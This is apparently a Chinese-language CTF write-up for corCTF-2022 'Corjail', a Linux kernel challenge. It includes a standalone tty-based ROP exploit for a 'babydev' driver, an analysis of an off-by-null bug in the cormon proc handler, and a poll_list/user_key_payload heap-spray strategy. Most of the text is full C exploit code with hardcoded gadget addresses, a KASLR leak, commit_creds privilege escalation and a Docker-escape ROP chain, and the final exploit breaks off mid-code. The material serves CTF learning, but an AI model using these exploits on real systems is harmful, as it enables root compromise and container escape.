exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 #include <assert.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <unistd.h> #define xchg_eax_esp_addr 0xffffffff8100008a #define prepare_kernel_cred_addr 0xffffffff810a1810 #define commit_creds_addr 0xffffffff810a1420 #define pop_rdi_addr 0xffffffff810d238d #define mov_cr4_rdi_pop_rbp_addr 0xffffffff81004d80 #define swapgs_pop_rbp_addr 0xffffffff81063694 #define iretq_addr 0xffffffff814e35ef void get_root () { void * (*prepare_kernel_cred)(void *) = prepare_kernel_cred_addr; void (*commit_creds)(void *) = commit_creds_addr; commit_creds(prepare_kernel_cred(NULL )); } void get_shell () { system("/bin/sh" ); } unsigned long user_cs, user_rflags, user_rsp, user_ss;void save_status () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_rsp, rsp;" "pushf;" "pop user_rflags;" ); puts ("[*]status has been saved." ); } int main () { save_status(); int fd1 = open("/dev/babydev" , O_RDWR); int fd2 = open("/dev/babydev" , O_RDWR); ioctl(fd1, 65537 , 0x2e0 ); close(fd1); int master_fd = open("/dev/ptmx" , O_RDWR); size_t fake_tty_ops[] = { 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , xchg_eax_esp_addr }; size_t hijacked_stack_addr = ((size_t )xchg_eax_esp_addr & 0xffffffff ); char * fake_stack = mmap( (hijacked_stack_addr & (~0xffff ))-0x1000 , 0x30000 , PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1 , 0 ); memset (fake_stack, 0 , 0x30000 ); size_t rop_chain_mem[] = { pop_rdi_addr, 0x6f0 , mov_cr4_rdi_pop_rbp_addr, 0 , get_root, swapgs_pop_rbp_addr, 0 , iretq_addr, get_shell, user_cs, user_rflags, user_rsp, user_ss }; memcpy (hijacked_stack_addr, rop_chain_mem, sizeof (rop_chain_mem)); int ops_ptr_offset = 4 + 4 + 8 + 8 ; char overwrite_mem[ops_ptr_offset + 8 ]; char ** ops_ptr_addr = overwrite_mem + ops_ptr_offset; read(fd2, overwrite_mem, sizeof (overwrite_mem)); *ops_ptr_addr = &fake_tty_ops; write(fd2, overwrite_mem, sizeof (overwrite_mem)); ioctl(ptmx_fd, 0 , 0 ); return 0 ; }
corCTF-2022 Corjail 题目分析 我们可以使用 Guestfish
工具读取和修改 qcow2
文件。
run_challenge.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 #!/bin/sh qemu-system-x86_64 \ -m 1G \ -nographic \ -no-reboot \ -kernel bzImage \ -append "console=ttyS0 root=/dev/sda quiet loglevel=3 rd.systemd.show_status=auto rd.udev.log_level=3 oops=panic panic=-1 net.ifnames=0 pti=on" \ -hda coros.qcow2 \ -snapshot \ -monitor /dev/null \ -cpu qemu64,+smep,+smap,+rdrand \ -smp cores=4 \ --enable-kvm
init脚本
查看服务进程/etc/systemd/system/init.service
;
1 2 3 4 5 6 7 8 Description=Initialize challenge [Service] Type=oneshot ExecStart=/usr/local/bin/init [Install] WantedBy=multi-user.target
查看 /usr/local/bin/init
脚本;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 cat /usr/local/bin/init USER=user FLAG=$(head -n 100 /dev/urandom | sha512sum | awk '{printf $1}' ) useradd --create-home --shell /bin/bash $USER echo "export PS1='\[\033[01;31m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]# '" >> /root/.bashrcecho "export PS1='\[\033[01;35m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '" >> /home/$USER /.bashrcchmod -r 0700 /home/$USER mv /root/temp /root/$FLAG chmod 0400 /root/$FLAG
password
1 2 3 4 5 6 7 8 9 10 11 ❯ guestfish --rw -a coros.qcow2 ><fs> run ><fs> list-filesystems /dev/sda: ext4 ><fs> mount /dev/sda / ><fs> cat /etc/password libguestfs: error: download: /etc/password: No such file or directory ><fs> cat /etc/passwd root:x:0:0:root:/root:/usr/local/bin/jail daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ......
root_shell
查看root
用户的/usr/local/bin/jail
;
1 2 3 4 5 6 7 8 9 10 11 12 13 ><fs> cat /usr/local/bin/jail echo -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...' /usr/bin/docker run -it --user user \ --hostname CoRJail \ --security-opt seccomp=/etc/docker/corjail.json \ -v /proc/cormon:/proc_rw/cormon:rw corcontainer /bin/bash /usr/sbin/poweroff -f
发现其启动root
的 shell
后是首先调用 docker
来构建了一个容器然后关闭自身,在那之后我们起的虚拟环境就是处于该docker
容器当中。
为了方便调试,我们可以使用edit
将其修改为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 ><fs> edit /usr/local/bin/jail ><fs> cat /usr/local/bin/jail echo -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...' cp /exploit /home/user || echo "[!] exploit not found, skipping" chown -R user:user /home/userecho 0 > /proc/sys/kernel/kptr_restrict/usr/bin/docker run -it --user root \ --hostname CoRJail \ --security-opt seccomp=/etc/docker/corjail.json \ --cap-add CAP_SYSLOG \ -v /proc/cormon:/proc_rw/cormon:rw \ -v /home/user/:/home/user/host \ corcontainer /bin/bash /usr/sbin/poweroff -f
edit
的用法和 vim
一样。
后面我们上传 exp
的时候可以使用 upload
命令,其格式如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 ><fs> help upload NAME upload - upload a file from the local machine SYNOPSIS upload filename remotefilename DESCRIPTION Upload local file filename to remotefilename on the filesystem. filename can also be a named pipe. See also "download" .
kernel_patch
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 diff -ruN a/arch/x86/entry/syscall_64.c b/arch/x86/entry/syscall_64.c @@ -17,6 +17,9 @@ #define __SYSCALL_64(nr, sym) [nr] = __x64_##sym, +DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count); +EXPORT_PER_CPU_SYMBOL(__per_cpu_syscall_count); + asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = { /* * Smells like a compiler bug -- it doesn't work diff -ruN a/arch/x86/include/asm/syscall_wrapper.h b/arch/x86/include/asm/syscall_wrapper.h @@ -245,7 +245,7 @@ * SYSCALL_DEFINEx() -- which is essential for the COND_SYSCALL() and SYS_NI() * macros to work correctly. */ -#define SYSCALL_DEFINE0(sname) \ +#define __SYSCALL_DEFINE0(sname) \ SYSCALL_METADATA(_##sname, 0); \ static long __do_sys_##sname(const struct pt_regs *__unused); \ __X64_SYS_STUB0(sname) \ diff -ruN a/include/linux/syscalls.h b/include/linux/syscalls.h @@ -82,6 +82,7 @@ #include <linux/key.h> #include <linux/personality.h> #include <trace/syscall.h> +#include <asm/syscall.h> #ifdef CONFIG_ARCH_HAS_SYSCALL_WRAPPER /* @@ -202,8 +203,8 @@ } #endif -#ifndef SYSCALL_DEFINE0 -#define SYSCALL_DEFINE0(sname) \ +#ifndef __SYSCALL_DEFINE0 +#define __SYSCALL_DEFINE0(sname) \ SYSCALL_METADATA(_##sname, 0); \ asmlinkage long sys_##sname(void); \ ALLOW_ERROR_INJECTION(sys_##sname, ERRNO); \ @@ -219,9 +220,41 @@ #define SYSCALL_DEFINE_MAXARGS 6 -#define SYSCALL_DEFINEx(x, sname, ...) \ - SYSCALL_METADATA(sname, x, __VA_ARGS__) \ - __SYSCALL_DEFINEx(x, sname, __VA_ARGS__) +DECLARE_PER_CPU(u64[], __per_cpu_syscall_count); + +#define SYSCALL_COUNT_DECLAREx(sname, x, ...) \ + static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__)); + +#define __SYSCALL_COUNT(syscall_nr) \ + this_cpu_inc(__per_cpu_syscall_count[(syscall_nr)]) + +#define SYSCALL_COUNT_FUNCx(sname, x, ...) \ + { \ + __SYSCALL_COUNT(__syscall_meta_##sname.syscall_nr); \ + return __count_sys##sname(__MAP(x, __SC_CAST, __VA_ARGS__)); \ + } \ + static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__)) + +#define SYSCALL_COUNT_DECLARE0(sname) \ + static inline long __count_sys_##sname(void); + +#define SYSCALL_COUNT_FUNC0(sname) \ + { \ + __SYSCALL_COUNT(__syscall_meta__##sname.syscall_nr); \ + return __count_sys_##sname(); \ + } \ + static inline long __count_sys_##sname(void) + +#define SYSCALL_DEFINEx(x, sname, ...) \ + SYSCALL_METADATA(sname, x, __VA_ARGS__) \ + SYSCALL_COUNT_DECLAREx(sname, x, __VA_ARGS__) \ + __SYSCALL_DEFINEx(x, sname, __VA_ARGS__) \ + SYSCALL_COUNT_FUNCx(sname, x, __VA_ARGS__) + +#define SYSCALL_DEFINE0(sname) \ + SYSCALL_COUNT_DECLARE0(sname) \ + __SYSCALL_DEFINE0(sname) \ + SYSCALL_COUNT_FUNC0(sname) #define __PROTECT(...) asmlinkage_protect(__VA_ARGS__) diff -ruN a/kernel/trace/trace_syscalls.c b/kernel/trace/trace_syscalls.c @@ -101,7 +101,7 @@ return NULL; } -static struct syscall_metadata *syscall_nr_to_meta(int nr) +struct syscall_metadata *syscall_nr_to_meta(int nr) { if (IS_ENABLED(CONFIG_HAVE_SPARSE_SYSCALL_NR)) return xa_load(&syscalls_metadata_sparse, (unsigned long)nr); @@ -111,6 +111,7 @@ return syscalls_metadata[nr]; } +EXPORT_SYMBOL(syscall_nr_to_meta); const char *get_syscall_name(int syscall) { @@ -122,6 +123,7 @@ return entry->name; } +EXPORT_SYMBOL(get_syscall_name); static enum print_line_t print_syscall_enter(struct trace_iterator *iter, int flags,
其中
1 +DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);
为每个CPU都创建一个 __per_cpu_syscall_count
变量用来记录系统调用的次数。
seccomp.json
保存了系统调用的白名单。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 { "defaultAction" : "SCMP_ACT_ERRNO" , "defaultErrnoRet" : 1 , "syscalls" : [ { "names" : [ "_llseek" , "_newselect" , "accept" , "accept4" , "access" , ... ] , "action" : "SCMP_ACT_ALLOW" } , { "names" : [ "clone" ] , "action" : "SCMP_ACT_ALLOW" , "args" : [ { "index" : 0 , "value" : 2114060288 , "op" : "SCMP_CMP_MASKED_EQ" } ] } ] }
根据README.md
提示,可以在proc_rw/cormon
看到使用到的系统调用在各个CPU
当中的情况。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 root@CoRJail:/ CPU0 CPU1 CPU2 CPU3 Syscall (NR) 9 16 25 18 sys_poll (7) 0 0 0 0 sys_fork (57) 66 64 79 60 sys_execve (59) 0 0 0 0 sys_msgget (68) 0 0 0 0 sys_msgsnd (69) 0 0 0 0 sys_msgrcv (70) 0 0 0 0 sys_ptrace (101) 15 19 11 6 sys_setxattr (188) 27 24 11 20 sys_keyctl (250) 0 0 2 2 sys_unshare (272) 0 1 0 0 sys_execveat (322)
也可以指定系统调用。
1 2 3 4 5 6 7 root@CoRJail:/ root@CoRJail:/ CPU0 CPU1 CPU2 CPU3 Syscall (NR) 0 0 0 0 sys_msgsnd (69) 0 0 0 0 sys_msgrcv (70)
src.c
可以看到 write
存在明显的off-by-null
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 static ssize_t cormon_proc_write (struct file *file, const char __user *ubuf, size_t count, loff_t *ppos) { loff_t offset = *ppos; char *syscalls; size_t len; if (offset < 0 ) return -EINVAL; if (offset >= PAGE_SIZE || !count) return 0 ; len = count > PAGE_SIZE ? PAGE_SIZE - 1 : count; syscalls = kmalloc(PAGE_SIZE, GFP_ATOMIC); printk(KERN_INFO "[CoRMon::Debug] Syscalls @ %#llx\n" , (uint64_t )syscalls); if (!syscalls) { printk(KERN_ERR "[CoRMon::Error] kmalloc() call failed!\n" ); return -ENOMEM; } if (copy_from_user(syscalls, ubuf, len)) { printk(KERN_ERR "[CoRMon::Error] copy_from_user() call failed!\n" ); return -EFAULT; } syscalls[len] = '\x00' ; if (update_filter(syscalls)) { kfree(syscalls); return -EINVAL; } kfree(syscalls); return count; }
利用思路 在 poll_list
利用方式中:
先通过 add_key()
堆喷大量 32
字节大小的 user_key_payload
。
这里只所以是 32
字节大小是因为要与后面的 seq_operations
配合,并且 32
大小的 object
其低字节是可能为 \x00
的,其低字节为 0x20
、0x40
、0x80
、0xa0
、0xc0
、0xe0
、0x00
。
然后创建 poll_list
链,其中 poll_list.next
指向的是一个 0x20
大小的 object
。
触发 off by null
,修改 poll_list.next
的低字节为 \x00
,这里可能导致其指向某个 user_key_payload
。
然后等待 timeout
后, 就会导致某个 user_key_payload
被释放,导致 UAF
。
详细流程如下:
首先,我们要打开有漏洞的模块。 使用bind_core()
将当前进程绑定到CPU0,因为我们是在一个多核环境中工作,而slab是按CPU分配的。
1 2 3 4 5 6 7 8 9 10 void bind_core (bool fixed, bool thread) { cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(fixed ? 0 : randint(1 , get_nprocs()), &cpu_set); if (thread) { pthread_setaffinity_np(pthread_self(), sizeof (cpu_set), &cpu_set); } else { sched_setaffinity(getpid(), sizeof (cpu_set), &cpu_set); } }
喷射大量 0x20
大小的 user_key_payload
和下图所示 0x1000 + 0x20
的 poll_list
。
此时内存中 object
的分布如下图所示,其中黄色的是 user_key_payload
,绿色的是 poll_list
,白色是空闲 object
。
通过 off by null
修改 0x1000 大小的 poll_list
,使得指向 0x20
大小 poll_list
的 next
指针指向 user_key_payload
。之后释放所有的 poll_list
结构,被 next
指向的的 user_key_payload
也被释放,形成 UAF 。
注意,为了确保释放 poll_list
不出错,要保证 0x20
大小的 poll_list
的 next
指针为 NULL 。也就是 user_key_payload
的前 8 字节为 NULL 。由于 user_key_payload
的前 8 字节没有初始化,因此可以在申请 user_key_payload
前先用 setxattr
把前 8 字节置为 NULL 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 static long setxattr (struct dentry *d, const char __user *name, const void __user *value, size_t size, int flags) { int error; void *kvalue = NULL ; char kname[XATTR_NAME_MAX + 1 ]; [...] if (size) { [...] kvalue = kvmalloc(size, GFP_KERNEL); if (!kvalue) return -ENOMEM; if (copy_from_user(kvalue, value, size)) { error = -EFAULT; goto out; } [...] } error = vfs_setxattr(d, kname, kvalue, size, flags); out: kvfree(kvalue); return error; }
另外实测 kmalloc-32
的 freelist
偏移为 16 字节,不会覆盖 next
指针。
喷射 seq_operations
利用 seq_operations->next
的低二字节覆盖 user_key_payload->datalen
实现 user_key_payload
越界读, user_key_payload->data
前 8 字节被覆盖为 seq_operations->show
,可以泄露内核基址。另外可以根据是否越界读判断该 user_key_payload
是否被 seq_operations
覆盖。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); }; struct user_key_payload { struct rcu_head rcu ; unsigned short datalen; char data[0 ] __aligned(__alignof__(u64)); }; struct callback_head { struct callback_head *next ; void (*func)(struct callback_head *head); } __attribute__((aligned(sizeof (void *)))); #define rcu_head callback_head
之后释放不能越界读的 user_key_payload
并喷射 tty_file_private
填充产生的空闲 object
。之后再次越界读泄露 tty_file_private->tty
指向的 tty_struct
,我们定义这个地址为 target_object
。
释放 seq_operations
,喷射 0x20
大小的 poll_list
。现在UAF
的堆块被user_key_payload
和poll_list
占领。在 poll_list
被释放前,释放劫持的 user_key_payload
,利用 setxattr
修改 poll_list
的 next
指针指向 target_object - 0x18
,方便后续伪造pipe_buffer
。为了实现 setxattr
的喷射效果,setxattr
修改过的 object
通过申请 user_key_payload
劫持,确保下次 setxattr
修改的是另外的 object
。
打开 /dev/ptmx
时会分配 tty_file_private
并且该结构体的 tty
指针会指向 tty_struct
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int tty_alloc_file (struct file *file) { struct tty_file_private *priv ; priv = kmalloc(sizeof (*priv), GFP_KERNEL); if (!priv) return -ENOMEM; file->private_data = priv; return 0 ; } struct tty_file_private { struct tty_struct *tty ; struct file *file ; struct list_head list ; };
趁 poll_list
还没有释放,释放 tty_struct
并申请 pipe_buffer
,将 target_object(tty_struct)
替换为 pipe_buffer
。
1 2 3 4 5 6 7 struct pipe_buffer { struct page *page ; unsigned int offset, len; const struct pipe_buf_operations *ops ; unsigned int flags; unsigned long private; };
之后 poll_list
释放导致 target_object - 0x18
区域释放。我们可以申请一个 0x400
大小的 user_key_payload
劫持 target_object - 0x18
,从而劫持 pipe_buffer->ops
实现控制流劫持。
docker逃逸
具体实现为修改 task_struct
的 fs
指向 init_fs
。用 find_task_by_vpid()
来定位Docker
容器任务,我们用switch_task_namespaces()
。但这还不足以从容器中逃逸。在Docker
容器中,setns()
被 seccomp
默认屏蔽了,我们可以克隆 init_fs
结构,然后用find_task_by_vpid()
定位当前任务,用 gadget
手动安装新fs_struct
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 *rop++ = pop_rdi_ret; *rop++ = init_cred; *rop++ = commit_creds; *rop++ = pop_rdi_ret; *rop++ = getpid(); *rop++ = find_task_by_vpid; *rop++ = pop_rcx_ret; *rop++ = 0x6e0 ; *rop++ = add_rax_rcx_ret; *rop++ = pop_rbx_ret; *rop++ = init_fs; *rop++ = mov_mmrax_rbx_pop_rbx_ret; rop++;
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 #ifndef _GNU_SOURCE #define _GNU_SOURCE #endif #include <asm/ldt.h> #include <assert.h> #include <ctype.h> #include <errno.h> #include <fcntl.h> #include <linux/keyctl.h> #include <linux/userfaultfd.h> #include <poll.h> #include <pthread.h> #include <sched.h> #include <semaphore.h> #include <signal.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/ipc.h> #include <sys/mman.h> #include <sys/msg.h> #include <sys/prctl.h> #include <sys/sem.h> #include <sys/shm.h> #include <sys/socket.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/xattr.h> #include <unistd.h> #include <sys/sysinfo.h> #define PAGE_SIZE 0x1000 int randint (int min, int max) { return min + (rand() % (max - min)); } void bind_core (bool fixed, bool thread) { cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(fixed ? 0 : randint(1 , get_nprocs()), &cpu_set); if (thread) { pthread_setaffinity_np(pthread_self(), sizeof (cpu_set), &cpu_set); } else { sched_setaffinity(getpid(), sizeof (cpu_set), &cpu_set); } } void qword_dump (char *desc, void *addr, int len) { uint64_t *buf64 = (uint64_t *) addr; uint8_t *buf8 = (uint8_t *) addr; if (desc != NULL ) { printf ("[*] %s:\n" , desc); } for (int i = 0 ; i < len / 8 ; i += 4 ) { printf (" %04x" , i * 8 ); for (int j = 0 ; j < 4 ; j++) { i + j < len / 8 ? printf (" 0x%016lx" , buf64[i + j]) : printf (" " ); } printf (" " ); for (int j = 0 ; j < 32 && j + i * 8 < len; j++) { printf ("%c" , isprint (buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.' ); } puts ("" ); } } bool is_kernel_text_addr (size_t addr) { return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFFFEFFFFFF ; } bool is_dir_mapping_addr (size_t addr) { return addr >= 0xFFFF888000000000 && addr <= 0xFFFFc87FFFFFFFFF ; } #define INVALID_KERNEL_OFFSET 0x1145141919810 const size_t kernel_addr_list[] = { 0xffffffff813275c0 , 0xffffffff812d4320 , 0xffffffff812d4340 , 0xffffffff812d4330 }; size_t kernel_offset_query (size_t kernel_text_leak) { if (!is_kernel_text_addr(kernel_text_leak)) { return INVALID_KERNEL_OFFSET; } for (int i = 0 ; i < sizeof (kernel_addr_list) / sizeof (kernel_addr_list[0 ]); i++) { if (!((kernel_text_leak ^ kernel_addr_list[i]) & 0xFFF ) && (kernel_text_leak - kernel_addr_list[i]) % 0x100000 == 0 ) { return kernel_text_leak - kernel_addr_list[i]; } } printf ("[-] unknown kernel addr: %#lx\n" , kernel_text_leak); return INVALID_KERNEL_OFFSET; } size_t search_kernel_offset (void *buf, int len) { size_t *search_buf = buf; for (int i = 0 ; i < len / 8 ; i++) { size_t kernel_offset = kernel_offset_query(search_buf[i]); if (kernel_offset != INVALID_KERNEL_OFFSET) { printf ("[+] kernel leak addr: %#lx\n" , search_buf[i]); printf ("[+] kernel offset: %#lx\n" , kernel_offset); return kernel_offset; } } return INVALID_KERNEL_OFFSET; } size_t user_cs, user_rflags, user_sp, user_ss;void save_status () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("[*] status has been saved." ); } typedef struct { int nfds, timer; } poll_args; struct poll_list { struct poll_list *next ; int len; struct pollfd entries []; }; pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;size_t poll_threads, poll_cnt;void *alloc_poll_list (void *args) { int nfds = ((poll_args *) args)->nfds; int timer = ((poll_args *) args)->timer; struct pollfd *pfds = calloc (nfds, sizeof (struct pollfd)); for (int i = 0 ; i < nfds; i++) { pfds[i].fd = open("/etc/passwd" , O_RDONLY); pfds[i].events = POLLERR; } bind_core(true , true ); pthread_mutex_lock(&mutex); poll_threads++; pthread_mutex_unlock(&mutex); poll(pfds, nfds, timer); bind_core(false , true ); pthread_mutex_lock(&mutex); poll_threads--; pthread_mutex_unlock(&mutex); } #define N_STACK_PPS 30 #define POLL_NUM 0x1000 pthread_t poll_tid[POLL_NUM];void create_poll_thread (size_t size, int timer) { poll_args *args = calloc (1 , sizeof (poll_args)); args->nfds = (size - (size + PAGE_SIZE - 1 ) / PAGE_SIZE * sizeof (struct poll_list)) / sizeof (struct pollfd) + N_STACK_PPS; args->timer = timer; pthread_create(&poll_tid[poll_cnt++], 0 , alloc_poll_list, args); } void wait_poll_start () { while (poll_threads != poll_cnt); } void join_poll_threads (void (*confuse)(void *), void *confuse_args) { for (int i = 0 ; i < poll_threads; i++) { pthread_join(poll_tid[i], NULL ); if (confuse != NULL ) { confuse(confuse_args); } } poll_cnt = poll_threads = 0 ; } struct callback_head { struct callback_head *next ; void (*func)(struct callback_head *head); } __attribute__((aligned(sizeof (void *)))); #define rcu_head callback_head #define __aligned(x) __attribute__((__aligned__(x))) typedef unsigned long long u64;struct user_key_payload { struct rcu_head rcu ; unsigned short datalen; char data[0 ] __aligned(__alignof__(u64)); }; #define KEY_NUM 199 int key_id[KEY_NUM];int key_alloc (int id, void *payload, int payload_len) { char description[0x10 ] = {}; sprintf (description, "%d" , id); return key_id[id] = syscall(__NR_add_key, "user" , description, payload, payload_len - sizeof (struct user_key_payload), KEY_SPEC_PROCESS_KEYRING); } int key_update (int id, void *payload, size_t plen) { return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen); } int key_read (int id, void *bufer, size_t buflen) { return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen); } int key_revoke (int id) { return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0 , 0 , 0 ); } int key_unlink (int id) { return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING); } struct list_head { struct list_head *next , *prev ; }; struct tty_file_private { struct tty_struct *tty ; struct file *file ; struct list_head list ; }; struct page ;struct pipe_inode_info ;struct pipe_buf_operations ;struct pipe_bufer { struct page *page ; unsigned int offset, len; const struct pipe_buf_operations *ops ; unsigned int flags; unsigned long private; }; struct pipe_buf_operations { int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *); void (*release)(struct pipe_inode_info *, struct pipe_bufer *); int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *); int (*get)(struct pipe_inode_info *, struct pipe_bufer *); }; void get_shell (void ) { char *args[] = {"/bin/bash" , "-i" , NULL }; execve(args[0 ], args, NULL ); } #define SEQ_NUM (2048 + 128) #define TTY_NUM 72 #define PIPE_NUM 1024 int cormon_fd;char buf[0x20000 ];void seq_confuse (void *args) { open("/proc/self/stat" , O_RDONLY); } size_t push_rsi_pop_rsp_ret = 0xFFFFFFFF817AD641 ;size_t pop_rdi_ret = 0xffffffff8116926d ;size_t init_cred = 0xFFFFFFFF8245A960 ;size_t commit_creds = 0xFFFFFFFF810EBA40 ;size_t pop_r14_pop_r15_ret = 0xffffffff81001615 ;size_t find_task_by_vpid = 0xFFFFFFFF810E4FC0 ;size_t init_fs = 0xFFFFFFFF82589740 ;size_t pop_rcx_ret = 0xffffffff8101f5fc ;size_t add_rax_rcx_ret = 0xffffffff8102396f ;size_t mov_mmrax_rbx_pop_rbx_ret = 0xffffffff817e1d6d ;size_t pop_rbx_ret = 0xffffffff811bce34 ;size_t swapgs_ret = 0xffffffff81a05418 ;size_t iretq = 0xffffffff81c00f97 ;int main () { bind_core(true , false ); save_status(); signal(SIGSEGV, (void *) get_shell); cormon_fd = open("/proc_rw/cormon" , O_RDWR); if (cormon_fd < 0 ) { perror("[-] failed to open cormon." ); exit (-1 ); } size_t kernel_offset; int target_key; puts ("[*] Saturating kmalloc-32 partial slabs..." ); int seq_fd[SEQ_NUM]; for (int i = 0 ; i < SEQ_NUM; i++) { seq_fd[i] = open("/proc/self/stat" , O_RDONLY); if (seq_fd[i] < 0 ) { perror("[-] failed to open stat." ); exit (-1 ); } if (i == 2048 ) { puts ("[*] Spraying user keys in kmalloc-32..." ); for (int j = 0 ; j < KEY_NUM; j++) { setxattr("/tmp/exp" , "aaaaaa" , buf, 32 , XATTR_CREATE); key_alloc(j, buf, 32 ); if (j == 72 ) { bind_core(false , false ); puts ("[*] Creating poll threads..." ); for (int k = 0 ; k < 14 ; k++) { create_poll_thread( PAGE_SIZE + sizeof (struct poll_list) + sizeof (struct pollfd), 3000 ); } bind_core(true , false ); wait_poll_start(); } } puts ("[*] Corrupting poll_list next pointer..." ); write(cormon_fd, buf, PAGE_SIZE); puts ("[*] Triggering arbitrary free..." ); join_poll_threads(seq_confuse, NULL ); puts ("[*] Overwriting user key size / Spraying seq_operations structures..." ); } } puts ("[*] Leaking kernel pointer..." ); for (int i = 0 ; i < KEY_NUM; i++) { int len = key_read(i, buf, sizeof (buf)); kernel_offset = search_kernel_offset(buf, len); if (kernel_offset != INVALID_KERNEL_OFFSET) { qword_dump("dump leak memory" , buf, 0x1000 ); target_key = i; break ; } } if (kernel_offset == INVALID_KERNEL_OFFSET) { puts ("[-] failed to leak kernel offset,try again." ); exit (-1 ); } push_rsi_pop_rsp_ret += kernel_offset; pop_rdi_ret += kernel_offset; init_cred += kernel_offset; commit_creds += kernel_offset; pop_r14_pop_r15_ret += kernel_offset; find_task_by_vpid += kernel_offset; init_fs += kernel_offset; pop_rcx_ret += kernel_offset; 